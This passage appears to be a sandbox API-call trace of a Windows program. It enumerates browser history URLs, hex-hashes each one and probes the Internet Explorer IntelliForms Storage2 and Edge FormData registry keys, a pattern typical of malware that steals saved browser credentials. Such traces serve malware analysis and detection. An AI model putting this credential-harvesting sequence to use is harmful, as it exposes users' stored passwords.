samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.891] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.891] LocalFree (hMem=0x2e50f0) returned 0x0 [0056.891] CoTaskMemFree (pv=0x2e5bb8) [0056.891] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.891] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JWxJgBZ0MfGV5-K_W.jpg", lpSrch="?") returned 0x0 [0056.891] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.891] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e7d38 [0056.891] lstrcpyA (in: lpString1=0x2e7d38, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.891] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JWxJgBZ0MfGV5-K_W.jpg") returned 63 [0056.891] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JWxJgBZ0MfGV5-K_W.jpg") returned 63 [0056.891] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9") returned 2 [0056.891] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9" | out: lpString1="C9") returned="C9" [0056.891] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C971") returned 4 [0056.891] lstrcpyA (in: lpString1=0x21fb40, lpString2="C971" | out: lpString1="C971") returned="C971" [0056.891] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C") returned 6 [0056.891] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C" | out: lpString1="C9715C") returned="C9715C" [0056.891] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C21") returned 8 [0056.891] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C21" | out: lpString1="C9715C21") returned="C9715C21" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C2171") returned 10 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C2171" | out: lpString1="C9715C2171") returned="C9715C2171" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179") returned 12 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179" | out: lpString1="C9715C217179") returned="C9715C217179" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B1") returned 14 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B1" | out: lpString1="C9715C217179B1") returned="C9715C217179B1" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108") returned 16 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108" | out: lpString1="C9715C217179B108") returned="C9715C217179B108" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A3") returned 18 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A3" | out: lpString1="C9715C217179B108A3") returned="C9715C217179B108A3" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A396") returned 20 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A396" | out: lpString1="C9715C217179B108A396") returned="C9715C217179B108A396" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626") returned 22 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626" | out: lpString1="C9715C217179B108A39626") returned="C9715C217179B108A39626" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD") returned 24 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD" | out: lpString1="C9715C217179B108A39626CD") returned="C9715C217179B108A39626CD" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD23") returned 26 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD23" | out: lpString1="C9715C217179B108A39626CD23") returned="C9715C217179B108A39626CD23" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD2349") returned 28 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD2349" | out: lpString1="C9715C217179B108A39626CD2349") returned="C9715C217179B108A39626CD2349" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD234989") returned 30 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD234989" | out: lpString1="C9715C217179B108A39626CD234989") returned="C9715C217179B108A39626CD234989" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD234989CF") returned 32 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD234989CF" | out: lpString1="C9715C217179B108A39626CD234989CF") returned="C9715C217179B108A39626CD234989CF" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD234989CF4C") returned 34 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD234989CF4C" | out: lpString1="C9715C217179B108A39626CD234989CF4C") returned="C9715C217179B108A39626CD234989CF4C" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD234989CF4C70") returned 36 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD234989CF4C70" | out: lpString1="C9715C217179B108A39626CD234989CF4C70") returned="C9715C217179B108A39626CD234989CF4C70" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD234989CF4C7056") returned 38 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD234989CF4C7056" | out: lpString1="C9715C217179B108A39626CD234989CF4C7056") returned="C9715C217179B108A39626CD234989CF4C7056" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD234989CF4C705639") returned 40 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD234989CF4C705639" | out: lpString1="C9715C217179B108A39626CD234989CF4C705639") returned="C9715C217179B108A39626CD234989CF4C705639" [0056.892] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C9715C217179B108A39626CD234989CF4C70563995") returned 42 [0056.892] lstrcpyA (in: lpString1=0x21fb40, lpString2="C9715C217179B108A39626CD234989CF4C70563995" | out: lpString1="C9715C217179B108A39626CD234989CF4C70563995") returned="C9715C217179B108A39626CD234989CF4C70563995" [0056.892] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.892] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.892] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.892] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.892] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.892] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.893] LocalFree (hMem=0x2e7d38) returned 0x0 [0056.893] CoTaskMemFree (pv=0x2e7cb0) [0056.893] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.893] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/PqiXBSIX-L8uSYHKKM1W.ppt", lpSrch="?") returned 0x0 [0056.893] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.893] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e7e60 [0056.893] lstrcpyA (in: lpString1=0x2e7e60, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.893] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/PqiXBSIX-L8uSYHKKM1W.ppt") returned 74 [0056.893] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/PqiXBSIX-L8uSYHKKM1W.ppt") returned 74 [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE") returned 2 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE" | out: lpString1="EE") returned="EE" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96") returned 4 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96" | out: lpString1="EE96") returned="EE96" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB") returned 6 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB" | out: lpString1="EE96AB") returned="EE96AB" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5F") returned 8 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5F" | out: lpString1="EE96AB5F") returned="EE96AB5F" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5") returned 10 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5" | out: lpString1="EE96AB5FD5") returned="EE96AB5FD5" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3") returned 12 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3" | out: lpString1="EE96AB5FD5B3") returned="EE96AB5FD5B3" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4") returned 14 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4" | out: lpString1="EE96AB5FD5B3E4") returned="EE96AB5FD5B3E4" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4EC") returned 16 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4EC" | out: lpString1="EE96AB5FD5B3E4EC") returned="EE96AB5FD5B3E4EC" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE") returned 18 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE" | out: lpString1="EE96AB5FD5B3E4ECFE") returned="EE96AB5FD5B3E4ECFE" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9F") returned 20 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9F" | out: lpString1="EE96AB5FD5B3E4ECFE9F") returned="EE96AB5FD5B3E4ECFE9F" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7") returned 22 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7") returned="EE96AB5FD5B3E4ECFE9FA7" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E8") returned 24 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E8" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E8") returned="EE96AB5FD5B3E4ECFE9FA7E8" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E83F") returned 26 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F") returned="EE96AB5FD5B3E4ECFE9FA7E83F" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E83F5E") returned 28 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5E" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5E") returned="EE96AB5FD5B3E4ECFE9FA7E83F5E" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E83F5EC9") returned 30 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC9" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC9") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC9" [0056.893] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956") returned 32 [0056.893] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC956" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956" [0056.894] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695") returned 34 [0056.894] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695" [0056.894] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C") returned 36 [0056.894] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C" [0056.894] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67") returned 38 [0056.894] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67" [0056.894] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756") returned 40 [0056.894] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756" [0056.894] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67568C") returned 42 [0056.894] lstrcpyA (in: lpString1=0x21fb40, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67568C" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67568C") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67568C" [0056.894] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.894] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.894] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.894] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.894] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.894] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.894] LocalFree (hMem=0x2e7e60) returned 0x0 [0056.894] CoTaskMemFree (pv=0x2e5d98) [0056.894] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.894] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/sbR2OVyx2eySl1bjldF3.swf", lpSrch="?") returned 0x0 [0056.894] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.894] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e81e0 [0056.894] lstrcpyA (in: lpString1=0x2e81e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.894] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/sbR2OVyx2eySl1bjldF3.swf") returned 104 [0056.894] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/sbR2OVyx2eySl1bjldF3.swf") returned 104 [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2F") returned 2 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2F" | out: lpString1="2F") returned="2F" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3") returned 4 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3" | out: lpString1="2FF3") returned="2FF3" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD") returned 6 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD" | out: lpString1="2FF3DD") returned="2FF3DD" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD03") returned 8 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD03" | out: lpString1="2FF3DD03") returned="2FF3DD03" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B") returned 10 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B" | out: lpString1="2FF3DD033B") returned="2FF3DD033B" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67") returned 12 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67" | out: lpString1="2FF3DD033B67") returned="2FF3DD033B67" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EA") returned 14 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EA" | out: lpString1="2FF3DD033B67EA") returned="2FF3DD033B67EA" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB2") returned 16 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB2" | out: lpString1="2FF3DD033B67EAB2") returned="2FF3DD033B67EAB2" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B") returned 18 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B" | out: lpString1="2FF3DD033B67EAB28B") returned="2FF3DD033B67EAB28B" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B27") returned 20 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B27" | out: lpString1="2FF3DD033B67EAB28B27") returned="2FF3DD033B67EAB28B27" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C") returned 22 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C" | out: lpString1="2FF3DD033B67EAB28B272C") returned="2FF3DD033B67EAB28B272C" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A") returned 24 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A" | out: lpString1="2FF3DD033B67EAB28B272C8A") returned="2FF3DD033B67EAB28B272C8A" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A69") returned 26 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A69" | out: lpString1="2FF3DD033B67EAB28B272C8A69") returned="2FF3DD033B67EAB28B272C8A69" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A69EA") returned 28 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A69EA" | out: lpString1="2FF3DD033B67EAB28B272C8A69EA") returned="2FF3DD033B67EAB28B272C8A69EA" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A69EADC") returned 30 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A69EADC" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC") returned="2FF3DD033B67EAB28B272C8A69EADC" [0056.895] wsprintfA 